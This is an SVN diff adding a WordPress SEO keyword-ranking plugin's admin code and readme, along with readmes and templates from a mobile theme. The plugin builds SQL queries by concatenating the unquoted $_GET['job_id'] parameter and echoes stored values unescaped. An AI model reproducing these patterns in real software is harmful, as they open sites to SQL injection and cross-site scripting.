+                        <tr>
+							<th width="33%" scope="row" valign="top"><?php _e("Meta",'position_yourself'); ?></th>
+							<td width="67%"><?php echo $this->adminOptions["pyMeta"]; ?></td>
+						</tr>
+                        <tr>
+							<th width="33%" scope="row" valign="top"><?php _e("PageRank",'position_yourself'); ?></th>
+							<td width="67%"><?php echo $this->adminOptions["pyPageRank"]; ?></td>
+						</tr>
+                        <tr>
+							<th width="33%" scope="row" valign="top"><?php _e("Number of results",'position_yourself'); ?></th>
+							<td width="67%"><?php echo $this->adminOptions["pyNumResults"]; ?></td>
+						</tr>
+					</table>
+                    <h3><?php _e('Competitors','position_yourself'); ?></h3>
+                    <?php
+					$pyCompetitors = array();
+					$tmpCompetitors = '';
+					if ($tmpCompetitors = $this->adminOptions["pyCompetitors"]) {
+						if ( preg_match("/,/", $tmpCompetitors) )
+							$pyCompetitors = preg_split('/,/', $tmpCompetitors, -1, PREG_SPLIT_NO_EMPTY);
+						else
+							array_push($pyCompetitors, $tmpCompetitors);
+						
+						$pyCompetitors 		= pyTrimArray($pyCompetitors);
+						$num_competitors 	= 0;
+						?>
+                    	<table id="competitor-list" class="form-table" width="100%" cellspacing="2" cellpadding="5">
+                    	<?php
+						foreach ( (array)$pyCompetitors as $tmpCompetitor )	{
+							$num_competitors++;
+							?>
+                            <tr>
+                                <th width="33%" scope="row" valign="top"><?php printf(__('Competitor %s:','position_yourself'), $num_competitors); ?></th>
+                                <td width="67%"><?php echo $tmpCompetitor; ?></td>
+                            </tr>
+							<?php
+                        }
+						?>
+						</table>
+						<?php
+					} else {
+						$this->message(__("You haven't added any competitors to track.",'position_yourself'));
+					}
+					?>
+					<p><?php printf(__('<a href="%s" class="button">Modify options</a>','position_yourself'), $modify_options_url) ?></p>
+            	<?php
+                }
+				?>
+			</div>
+			<?php
+		}
+		
+		/**
+		* Outputs the HTML for the keyword-tracking-management sub page.
+		*/
+		function manage_keyword_tracking() {
+			global $wpdb;
+			?>
+			<div class="wrap">
+				<h2><?php _e('Keyword tracking','position_yourself'); ?></h2>
+                <h3><?php _e('Keep track of your keywords','position_yourself'); ?></h3>
+                <?php
+				
+				if(isset($_GET["job_id"])) {
+					$job_id 		= attribute_escape($_GET["job_id"]);
+					$jobdatasql 	= "SELECT * FROM ".$wpdb->prefix."py_jobs WHERE ID = ".$job_id;
+					$job 			= $wpdb->get_row($jobdatasql);
+					
+					$matchessql 	= "SELECT ID FROM ".$wpdb->prefix."py_jobs_data WHERE job_id = ".$job->ID." AND position > 0 AND type = 'own'";
+					$num_matches	= 0;
+					$num_matches 	= count($wpdb->get_results($matchessql));
+					
+					$kwdatasql 		= "SELECT * FROM ".$wpdb->prefix."py_jobs_data WHERE job_id = ".$job_id;
+					$keywords 		= $wpdb->get_results($kwdatasql);
+					
+					$counter 		= 0;
+					?>
+                    <table class="widefat" width="100%" border="0" cellspacing="0" cellpadding="0">
+                      <tr>
+                        <td colspan="2" scope="row" style="text-align: left;"><?php printf(__('Positioning found <span class="big">%d</span> matches.','position_yourself'), $num_matches); ?></td>
+                      </tr>
+                      <tr>
+                        <td colspan="2" scope="row" style="height: 20px; text-align: left;"></td>
+                      </tr>
+                      <tr>
+                        <th scope="row" style="width: 30%; text-align: left;"><?php _e('Started','position_yourself'); ?></th>
+                        <td><?php echo date('d-m-Y, H:i:s', strtotime($job->start)); ?></td>
+                      </tr>
+                      <tr>
+                        <th scope="row" style="width: 30%; text-align: left;"><?php _e('Ended','position_yourself'); ?></th>
+                        <td><?php echo date('d-m-Y, H:i:s', strtotime($job->end)); ?></td>
+                      </tr>
+                      <tr>
+                        <th scope="row" style="width: 30%; text-align: left;"><?php _e('Google Region','position_yourself'); ?></th>
+                        <td>.<?php echo $job->region; ?></td>
+                      </tr>
+                      <tr>
+                        <th scope="row" style="width: 30%; text-align: left;"><?php _e('Google Language','position_yourself'); ?></th>
+                        <td><?php echo $job->language; ?></td>
+                      </tr>
+                      <tr>
+                        <th scope="row" style="width: 30%; text-align: left;"><?php _e('Google Options','position_yourself'); ?></th>
+                        <td><?php echo $job->meta; ?></td>
+                      </tr>
+                      <tr>
+                        <th scope="row" style="width: 30%; text-align: left;"><?php _e('Google Number of results','position_yourself'); ?></th>
+                        <td><?php echo $job->num_results; ?></td>
+                      </tr>
+                    </table>
+
+					<table class="widefat" width="100%" cellspacing="2" cellpadding="5">
+						<thead>
+							<tr>
+								<th scope="col" style="width: 30px; text-align: center"><?php echo "#"; ?></th>
+                                <th scope="col"><?php _e("Keyword",'position_yourself'); ?></th>
+                                <th scope="col"><?php _e("Position",'position_yourself'); ?></th>
+                                <th scope="col"><?php _e("Result page",'position_yourself'); ?></th>
+							</tr>
+						</thead>
+						<tbody>
+					<?php
+					$site_url = get_option('siteurl');
+					
+					foreach ( (array) $keywords as $keyword ) {
+						
+						if ( $keyword->type == 'own' ) {
+							$counter++;
+							?>
+                            <tr>
+								<th scope="row" style="text-align: center"><?php echo $counter; ?></th>
+								<td><span class="keyword"><?php echo htmlspecialchars($keyword->keyword); ?></span></td>
+                                <td style="text-align: left"><span class="position"><?php echo $keyword->position; ?></span></td>
+                                <td style="text-align: left"><?php echo $keyword->result_url; ?></td>
+							</tr>
+                            <?php
+						} elseif ( $keyword->type == 'competitor' ) {
+							?>
+                            <tr>
+								<th scope="row" style="text-align: center"></th>
+								<td><img src="<?php echo $site_url; ?>/wp-content/plugins/<?php plugin_basename( dirname( __FILE__ )) ?>/images/joinbottom.gif" alt="Competitor: " align="absbottom" /> <?php echo htmlspecialchars($keyword->match_url); ?></td>
+                                <td style="text-align: left"><span class="position"><?php echo $keyword->position; ?></span></td>
+                                <td style="text-align: left"><?php echo $keyword->result_url; ?></td>
+							</tr>
+                            <?php
+						}
+					}
+					?>
+						</tbody>
+					</table>
+                	<?php
+				} else {
+					$jobsql 	= "SELECT * FROM ".$wpdb->prefix."py_jobs ORDER BY ID ASC";
+					$jobs 		= $wpdb->get_results($jobsql);
+					//	show list of jobs
+					$num_jobs 	= count($jobs);
+					if ($num_jobs > 0) {
+						$counter 	= 0;
+						?>
+						<table id="tracking-results" class="widefat" width="100%" cellspacing="2" cellpadding="5">
+							<thead>
+								<tr>
+									<th scope="col" style="text-align: center" width="30"><?php _e("ID",'position_yourself'); ?></th>
+									<th scope="col"><?php _e("Date-Time",'position_yourself'); ?></th>
+									<th scope="col"><?php _e("Region",'position_yourself'); ?></th>
+									<th scope="col"><?php _e("Language",'position_yourself'); ?></th>
+									<th scope="col"><?php _e("Number of results",'position_yourself'); ?></th>
+									<th scope="col"><?php _e("Matches",'position_yourself'); ?></th>
+								</tr>
+							</thead>
+							<tbody>
+						<?php
+						foreach ( (array) $jobs as $job ) {
+							$num_matches 	= 0;
+							$difference 	= 0;
+							$status			= '';
+							//pyPre($job);
+							$positionsql = "SELECT ID FROM ".$wpdb->prefix."py_jobs_data WHERE job_id = ".$job->ID." AND position > 0 AND type = 'own'";
+							$matches = $wpdb->get_results($positionsql);
+							$num_matches = count($matches);
+							
+							if ($num_matches > $prev_num_matches) {
+								$difference = ' + '.(int)($num_matches - $prev_num_matches);
+								$status = 'up';
+							} elseif ($num_matches == $prev_num_matches) {
+								$difference = 0;
+								$status = 'stable';
+							} else {
+								$difference = ' - '.(int)($prev_num_matches - $num_matches);
+								$status = 'down';
+							}
+							$prev_num_matches = $num_matches;
+							
+							$job_url = get_option('siteurl').'/wp-admin/admin.php?page=manage_keyword_tracking&job_id='.$job->ID;
+							
+							if ($status != 'stable') {
+								$status_img = '<img src="'.get_option('siteurl').'/wp-content/plugins/'.plugin_basename( dirname( __FILE__ )) .'/images/arrow_'.$status.'.png" alt="Status" />';
+								$difference = '<span class="small">'.$difference.'</span>';
+							} else {
+								$status_img = '';
+								$difference = '';
+							}
+								
+							if ($row_class == '')
+								$row_class = 'alternate';
+							else
+								$row_class = '';
+							?>
+								<tr class="<?php echo $row_class; ?>">
+									<th scope="row" style="text-align: center"><?php echo $job->ID; ?></th>
+									<td><?php echo "<a href=\"".$job_url."\" title=\"".__("Get more information about this job.",'position_yourself')."\">".date('d-m-Y, h:i:s', strtotime($job->start))."</a>"; ?></td>
+									<td><?php echo $job->region; ?></td>
+									<td><?php echo $job->language; ?></td>
+									<td><?php echo $job->num_results; ?></td>
+									<td><?php echo $num_matches; ?>&nbsp;<?php echo $status_img.$difference; ?></td>
+								</tr>
+							<?php
+						}
+						?>
+							</tbody>
+						</table>
+                        <script language="javascript" type="text/javascript">
+						$(document).ready(function() {
+							$("#tracking-results").tablesorter( {sortList: [[0,1]]} ); 
+						});
+                        </script>
+						<?php
+					} else {
+						$this->message(__("No jobs have already ran."));
+					}
+                }
+				?>
+			</div>
+			<?php 
+		}
+		
+		/**
+		* Put positioning results in DB
+		*/
+		function process_results($positioner) {
+			global $wpdb;
+
+			if ($positioner) {
+				//	add new job to DB
+				$jobsql = "INSERT INTO ".$wpdb->prefix."py_jobs (start, end, region, language, meta, num_results) VALUES ('".date('Y-m-d H:i:s', strtotime($positioner->start))."', '".date('Y-m-d H:i:s', strtotime($positioner->end))."', '".$wpdb->escape($positioner->region)."', '".$wpdb->escape($positioner->language)."', '".$wpdb->escape($positioner->meta)."', ".$positioner->num_results.")";
+				
+				$wpdb->show_errors();
+				$wpdb->query($jobsql);
+				$wpdb->hide_errors();
+				$job_id = $wpdb->insert_id;
+				
+				//	process googlequeries
+				if ( is_array($positioner->queries) ) {
+					foreach ( (array)$positioner->queries as $query ) {
+					
+						//	add keyword to DB
+						$kwsql = "INSERT INTO ".$wpdb->prefix."py_jobs_data (job_id, keyword, position, type, match_url, result_url) VALUES (".$job_id.", '".$wpdb->escape($query->keyword)."', ".$query->top_position.", 'own', '".$wpdb->escape(get_option('siteurl'))."', '".$wpdb->escape($query->top_url)."')";
+						
+						$wpdb->show_errors();
+						$wpdb->query($kwsql);
+						$wpdb->hide_errors();
+						
+						if ( count($query->competitors) > 0 ) {
+							foreach( (array)$query->competitors as $competitor => $results) {
+							
+								$top = $query->find_top_competitor_position($results);
+								
+								//	add keyword to DB
+								$kwsql = "INSERT INTO ".$wpdb->prefix."py_jobs_data (job_id, keyword, position, type, match_url, result_url) VALUES (".$job_id.", '".$wpdb->escape($query->keyword)."', ".$top["position"].", 'competitor', '".$wpdb->escape($competitor)."', '".$wpdb->escape($top["url"])."')";
+								
+								$wpdb->show_errors();
+								$wpdb->query($kwsql);
+								$wpdb->hide_errors();
+							}
+						}
+					}
+				}
+				return $job_id;			
+			}
+			return 0;
+		}
+		
+		/**
+		* Load scripts
+		*/
+		function add_admin_scripts() {
+			wp_enqueue_script("fat");
+			wp_enqueue_script('py_jquery', '/wp-content/plugins/'.plugin_basename( dirname( __FILE__ )) .'/js/jquery-1.2.3.js', false, '1.2.3');
+			wp_enqueue_script('tablesorter', '/wp-content/plugins/'.plugin_basename( dirname( __FILE__ )) .'/js/jquery.tablesorter.min.js', array('py_jquery') , '2.0.3');
+			wp_enqueue_script('py_scripts', '/wp-content/plugins/'.plugin_basename( dirname( __FILE__ )) .'/js/script.js', false , '1.0');
+		}
+		
+		/**
+		* Adds a link to the stylesheet to the header
+		*/
+		function add_admin_css() {
+			echo '<link rel="stylesheet" href="'.get_bloginfo('url').'/wp-content/plugins/'.plugin_basename( dirname( __FILE__ )) .'/css/style.css" type="text/css" media="screen"  />'; 
+		}
+		
+		
+		
+		/**
+		* display functions (error->red / message->yellow / success->green)
+		*/
+		function error($message) {
+			echo "<div class=\"error\">\n";
+			echo "<p>".$message."</p>\n";
+			echo "</div>\n";
+		}
+		function message($message) {
+			echo "<div class=\"message\">\n";
+			echo "<p>".$message."</p>\n";
+			echo "</div>\n";
+		}
+		function success($message) {
+			echo "<div class=\"success\">\n";
+			echo "<p>".$message."</p>\n";
+			echo "</div>\n";
+		}
+		
+		/**
+		* Delays script execution for x.xx number of seconds.
+		*/
+		function sleepr($seconds) {
+		   usleep(floor($seconds*1000000));
+		}
+
+		/**
+		* Install function
+		*/
+		function positionyourself_install() {
+			global $wpdb;
+			
+			
+			//	only run installation if not installed
+			$py_jobs_data = $wpdb->get_var("SHOW TABLES LIKE `".$wpdb->prefix."py_jobs_data`");
+			$py_jobs = $wpdb->get_var("SHOW TABLES LIKE `".$wpdb->prefix."py_jobs`");
+			
+			if(	$py_jobs_data != $wpdb->prefix."py_jobs_data" || $py_jobs != $wpdb->prefix."py_jobs") {
+			
+				require_once(ABSPATH . "wp-admin/upgrade-functions.php");
+				//	create keyword table
+				$structure_keywords = "CREATE TABLE `".$wpdb->prefix."py_jobs_data` (
+										`ID` BIGINT NOT NULL AUTO_INCREMENT PRIMARY KEY ,
+										`job_id` BIGINT NOT NULL ,
+										`keyword` VARCHAR( 255 ) NOT NULL ,
+										`position` INT NOT NULL DEFAULT '0',
+										`type` ENUM( 'own', 'competitor' ) NOT NULL ,
+										`match_url` VARCHAR( 255 ) NOT NULL ,
+										`result_url` TEXT NOT NULL
+										);";
+				//	add keyword table to DB
+				dbDelta($structure_keywords);
+				//	create jobs table
+				$structure_jobs = "CREATE TABLE `".$wpdb->prefix."py_jobs` (
+									`ID` BIGINT NOT NULL AUTO_INCREMENT PRIMARY KEY ,
+									`start` DATETIME NOT NULL ,
+									`end` DATETIME NOT NULL ,
+									`region` VARCHAR( 10 ) NOT NULL DEFAULT 'com',
+									`language` VARCHAR( 10 ) NOT NULL DEFAULT 'en',
+									`meta` VARCHAR( 255 ) NOT NULL ,
+									`num_results` INT NOT NULL DEFAULT '30'
+									);";
+				//	add jobs table to DB
+				dbDelta($structure_jobs);
+				
+			}
+			
+			$plugin_db_version = "1.2";
+			$installed_ver = get_option( "position_yourself_db_version" );
+			//	Only run installation if previous version installed
+			if ($installed_ver === false || $installed_ver != $plugin_db_version) {
+				//	add a database version number for future upgrade purposes
+				update_option("position_yourself_db_version", $plugin_db_version);
+			}
+		}
+    }
+}
+
+include(ABSPATH.'wp-includes/class-snoopy.php');
+//instantiate the class
+if (class_exists('positionyourself') && class_exists('Snoopy')) {
+	include(dirname(__FILE__).'/includes/classes.php');
+	include(dirname(__FILE__).'/includes/functions.php');
+	$snoopy = new Snoopy;
+	$positionyourself = new positionyourself();
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/readme.txt	(revision 44)
@@ -0,0 +1,32 @@
+=== Google Positioner ===
+Contributors: QueroMedia
+Donate link: http://www.mongki.be/
+Tags: seo, google, position, ranking
+Requires at least: 2.3
+Tested up to: 2.5
+Stable tag: 1.2
+
+With this handy-dandy plugin it is now possible to track your website for your keywords in Google.
+
+== Description ==
+
+* Choosing the right ones...
+
+Search Engine Optimization (SEO) is all about choosing the right keywords. Through various online tools it is possible to generate synonyms and alternatives to build up a possible keywordlist for your own website. After creating that list, you can start indexing your website so you can associate the keywords on the relevant webpage. 
+
+You do want to have your pages ranked in the Search Engine Result Pages (SERPs) no?
+
+*	To Rank Or Not To Rank...
+
+After putting the right keywords in the right page, it is imperative to keep track of your keywordperformance. 
+With this handy-dandy plugin it is now possible to track your website for your keywords in Google. I've mainly focussed on Google as it's influence and importance is still a lot higher then al the rest together.
+
+At the end, you should be able to track a certain keyword on a certain page, and have a rising curve, meaning that your webpage started to rank better and better for a certain query or query-related keyword.
+
+
+== Installation ==
+
+1. Extract the content of the zipfile into a folder.
+2. Upload this folder to `/wp-content/plugins/` directory with your favorite FTP client software.
+3. Activate the plugin through the 'Plugins' menu in WordPress
+4. Notice the extra administration panel called "Position Yourself".
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/README.txt	(revision 44)
@@ -0,0 +1,114 @@
+=== WordPress Mobile Edition ===
+Tags: mobile, pda, wireless, cellphone, phone, iphone, touch, webkit, android, blackberry, carrington
+Contributors: alexkingorg
+Minimum version: 2.3
+Tested with: 2.8
+Stable tag: 3.1
+
+WordPress Mobile Edition is a plugin that shows an interface designed for a mobile device when visitors come to your site on a mobile device.
+
+Mobile browsers are automatically detected, the list of mobile browsers can be customized on the settings page. 
+
+== Installation ==
+
+1. Drop the wp-mobile.php file in your wp-content/plugins directory
+2. Drop the carrington-mobile-(version #) directory in your wp-content/themes directory
+3. Click the 'Activate' link for WordPress Mobile Edition on your Plugins page (in the WordPress admin interface)
+
+
+== Frequently Asked Questions ==
+
+= Is this compatible with the WP plugin auto-upgrade feature? =
+
+No. The mobile theme needs to be moved to your themes directory and the WP plugin auto-upgrade does not do this. For this reason, please follow the installation instructions here.
+
+
+= Is this compatible with WP (Super) Cache? =
+
+Yes, it is compatible with WP Super Cache 0.9 (using WP Cache mode).
+
+
+= Does this create a mobile admin interface too? =
+
+No, it does not.
+
+
+= Does this serve a mobile interface to mobile web search crawlers? =
+
+Yes, to Google and Yahoo mobile search crawlers. You can add any others by adding their user agents in the plugin's Settings page.
+
+
+= Does this support iPhones and other "touch" browsers? =
+
+Yes, as of version 3.0. There is a customized interface for advanced mobile browsers and special styling to make things "finger-sized" for touch browsers.
+
+
+= My mobile device isn't automatically detected, what do I do? =
+
+Visit the settings page and use the link there to identify your mobile browser's User Agent.
+
+Then add that to the list of mobile browsers in your settings.
+
+
+= Does this conflict with other iPhone theme plugins? =
+
+Not fundamentally. If you remove the iPhone from the list of detected browsers, then the other iPhone theme should work as normal.
+
+
+= Does this support pages too? =
+
+Yes, it does.
+
+
+= Can I create a link that forces someone to see the mobile version? =
+
+Yes, this is included as an experimental feature in version 2.1. The link can be added to your theme by using the akm_mobile_link() template tag:
+
+`<?php in (function_exists('cfmobi_mobile_link') { cfmobi_mobile_link(); } ?>`
+
+Note that this does not work if you have WP Cache enabled.
+
+
+= Why are recent posts shown on every page? =
+
+This is a feature of the plugin to allow easy access to recent content.
+
+
+= How do I customize the display of the mobile interface? =
+
+The contents of the wp-mobile folder are a standard WordPress theme. Any changes you make there will affect the display of the mobile interface.
+
+
+== Examples ==
+
+You can see the mobile theme in action here: http://mobile.carringtontheme.com
+
+
+== API ==
+
+There is a filter `cfmobi_check_mobile` that allows you to affect if a mobile browser is detected.
+
+`function your_mobile_check_function($mobile_status) {
+
+	// do your logic, set $mobile_status to true/false as needed
+	
+	return $mobile_status;
+}
+add_filter('cfmobi_check_mobile', 'your_mobile_check_function');`
+
+
+There is an action `cfmobi_settings_form` that allows you to add to the settings page for this plugin. Handling form posts and other activities from anything you add to this form should be done in your plugin.
+
+`function your_settings_form() {
+	// create your form here - don't forget to catch the form submission as well
+}
+add_action('cfmobi_settings_form', 'your_settings_form');`
+
+
+== Changelog ==
+
+= 3.1 =
+
+- Added changelog
+- Added filter to enable other plugins to participate in mobile checking
+- Added hook to enable other plugins to add to the settings page
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/404.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/404.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/404.php	(revision 44)
@@ -0,0 +1,22 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+cfct_error('404');
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/README.txt	(revision 44)
@@ -0,0 +1,125 @@
+# Carrington CMS Theme Framework for WordPress
+http://carringtontheme.com
+
+by Crowd Favorite  
+http://crowdfavorite.com
+
+Released under the GPL license  
+http://www.opensource.org/licenses/gpl-license.php
+
+---
+
+## What is Carrington?
+
+1. A collection of elegant, high-end WordPress themes for end-users.
+2. A designer and developer friendly CMS theme framework for WordPress.
+3. A set of best practices for theme organization.
+
+
+## Basic Framework Concept
+
+Carrington is a CMS theme framework that virtually eliminates the need for custom conditional code in themes. Instead, template naming conventions along with the Carrington engine replace the need for this conditional code.
+
+Theme functionality is broken up into thoughtfully crafted abstractions to enable customizations at different levels (the loop, the post/page content, comments, etc.) and the Carrington engine chooses which template to be used for each segment of the theme.
+
+The abstractions and supported template types are designed to easily handle most of the customization scenarios we commonly see without the need to write custom code to use them.
+
+
+## Context and Templates
+
+WordPress provides a number of functions to help you determine what type of view a theme is showing. These include:
+
+- `is_home()`
+- `is_single()`
+- `is_page()`
+- `is_archive()`
+- `in_category()`
+- etc.
+
+Carrington abstracts these to deduce a "context" that is used when selecting a template. There are three context types used by the Carrington framework:
+
+1. Comment (dirs: comment)
+2. Post (dirs: content, excerpt)
+3. General (dirs: attachment, comments, footer, header, loop, posts, sidebar, single)
+
+Each directory implements one of these contexts for selecting the appropriate template to use. Templates are used in page views based on how they match the given context(s) for the overall page and the specific pieces of content being displayed.
+
+Read about the options available in each directory in the README file for that directory.
+
+Note: "default.php" is a supported default file name for all directories, however we have found in real world usage that {dirname}-default.php is a preferable naming system. When you have a half-dozen "default.php" files open in your favorite text editor, telling them apart in the file list can be more difficult than it should be.
+
+
+## Theme Organization
+
+WordPress themes generally have a file structure similar to this:
+
+- 404.php
+- archive.php
+- archives.php
+- [...]
+- sidebar.php
+- single.php
+- style.css
+
+While this organization works well in many instances, it doesn't well support the concept of atomic elements that are combined to create a theme. For example, a representation of just a post's content, or just a comment, is not represented here.
+
+Carrington respects the supported WordPress file naming conventions (for example `get_header()` will still work), but eschews them in favor of an organizational structure that better suits the abstraction and customization commonly needed for a WordPress theme.
+
+Template files are layered into each other using the following basic approach:
+
+1. top level templates that include
+2. common elements like a header, footer and sidebar along with a
+3. loop that includes 
+4. atomic post/page content or excerpt templates and, where appropriate, a
+5. comments area template that includes 
+6. atomic template for comments and a 
+7. template for the comment form
+
+
+## Actions and Filters
+
+The Carrington core is a theme framework, not a parent/child theme system. It includes a core set of functions that enable the override template hierarchy. These functions include actions and filters where appropriate so that their functionality can be customized and overridden as needed. These actions and filters use the same hook and filter system used in the WordPress core.
+
+
+### Filters
+
+- `cfct_context` - allows you to apply filters to the return value of the `cfct_context()` function; the function that checks to see what posts file, loop file, etc. to show.
+- `cfct_filename` - filter the output of the `cfct_filename()` function.
+- `cfct_general_match_order` - set the order in which general templates are chosen (make it check for a cat-general template ahead of a cat-news template, etc.).
+- `cfct_choose_general_template` - filter the output of the `cfct_choose_general_template()` function (the selected general template).
+- `cfct_single_match_order` - set the order in which single and content templates are chosen (make it check for author templates ahead of meta template, etc.).
+- `cfct_choose_single_template` - filter the output of the `cfct_choose_single_template()` function (the selected single template).
+- `cfct_choose_content_template` - filter the output of the `cfct_choose_content_template()` function (the selected content template).
+- `cfct_comment_match_order` - set the order in which content templates are chosen (make it check for role templates ahead of user templates, etc.).
+- `cfct_choose_comment_template` - filter the output of the `cfct_choose_comment_template()` function (the selected comment template).
+- `cfct_meta_templates` - filter the return value of the `cfct_meta_templates()` function (change the list of files returned).
+- `cfct_cat_templates` - filter the return value of the `cfct_cat_templates()` function (change the list of files returned).
+- `cfct_tag_templates` - filter the return value of the `cfct_tag_templates()` function (change the list of files returned).
+- `cfct_author_templates` - filter the return value of the `cfct_author_templates()` function (change the list of files returned).
+- `cfct_role_templates` - filter the return value of the `cfct_role_templates()` function (change the list of files returned).
+- `cfct_parent_templates` - filter the return value of the `cfct_role_templates()` function (change the list of files returned).
+- `cfct_single_templates` - filter the return value of the `cfct_parent_templates()` function (change the list of files returned).
+- `cfct_comment_templates` - filter the return value of the `cfct_single_templates()` function (change the list of files returned).
+`cfct_post_gallery_columns` - set the number of columns to show in the gallery.
+`gallery_style` - retained from the WP function code copied in and altered for gallery display.
+`cfct_option_defaults` - allows you to set defaults (alter/add/etc.) for Carrington options.
+
+
+### Actions
+
+- `cfct_settings_form` - allows you to add your own fields to the Carrington Settings form (left for compatibility` - recommend using _top and _bottom as needed instead of this).
+- `cfct_settings_form_top` - allows you to add your own fields at the top of the Carrington Settings form.
+- `cfct_settings_form_bottom` - allows you to add your own fields at the bottom of the Carrington Settings form.
+- `cfct_settings_form_after` - allows you to add your content after the Carrington Settings form. Useful if you want to add a second form to the page, or some other content.
+- `cfct_update_settings` - allows you to take action when the Carrington settings are being saved (perhaps to also save fields you've added in the `cfct_settings_form` action).
+
+
+## Plugins
+
+Any .php files in the *plugins/* directory will be automatically loaded by Carrington. This is a great way to bundle in custom functions or to hook into Carrington's actions or filters and be able to distribute everything as a single theme package.
+
+---
+
+## Tips
+
+There is very minor extra processing associated with the file system and context checks that Carrington requires. This overhead is virtually unnoticeable, however the use of a caching plugin is recommended as a general best practice.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/archive.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/archive.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/archive.php	(revision 44)
@@ -0,0 +1,22 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+cfct_posts();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/archives.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/archives.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/archives.php	(revision 44)
@@ -0,0 +1,21 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/README.txt	(revision 44)
@@ -0,0 +1,15 @@
+## carrington-core/
+
+### Overview
+
+This directory contains Carrington's custom features and functionality.
+
+
+### Supported Override Filenames
+
+- (none)
+
+
+### File Descriptions
+
+You do not need to do anything with files in this folder; they should remain as-is.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/admin.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/admin.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/carrington-core/admin.php	(revision 44)
@@ -0,0 +1,330 @@
+<?php
+
+// This file is part of the Carrington Theme Framework for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+// - add admin page for config settings
+
+function cfct_admin_menu() {
+	if (!current_user_can('manage_options')) {
+		return;
+	}
+	add_submenu_page(
+		'themes.php'
+		, __('Carrington Settings', 'carrington')
+		, __('Carrington', 'carrington')
+		, 0
+		, 'carrington-settings'
+		, 'cfct_settings_form'
+	);
+}
